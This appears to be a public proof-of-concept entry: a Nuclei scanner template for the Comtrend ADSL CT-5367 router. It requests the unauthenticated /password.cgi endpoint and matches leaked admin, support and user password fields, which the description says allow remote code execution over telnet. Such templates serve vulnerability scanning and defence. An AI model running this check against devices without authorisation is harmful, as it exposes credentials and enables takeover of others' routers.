Comtrend ADSL CT-5367 C01_R12 router is susceptible to remote code execution. A remote user can execute arbitrary commands via the telnet interface, The password for this interface is leaked to unauthenticated users via the password.cgi endpoint.
PoC代码[已公开]
id: comtrend-password-exposure
info:
name: Comtrend ADSL - Remote Code Execution
author: geeknik
severity: high
description: Comtrend ADSL CT-5367 C01_R12 router is susceptible to remote code execution. A remote user can execute arbitrary commands via the telnet interface, The password for this interface is leaked to unauthenticated users via the password.cgi endpoint.
reference:
- https://www.exploit-db.com/exploits/16275
metadata:
max-request: 1
tags: router,exposure,iot,rce,edb,vuln
http:
- method: GET
path:
- "{{BaseURL}}/password.cgi"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "pwdAdmin ="
- "pwdSupport ="
- "pwdUser ="
condition: and
# digest: 4a0a00473045022100d866c445c22b896f1bdec4e36ec8d087b0834bc1bbb9fd8efc85d32e3081ac220220009ba56bab9df228a8220a026cfde4f4ee58680b2164c7224b93778b2950e0b4:922c64590222798bb761d5b6d8e72950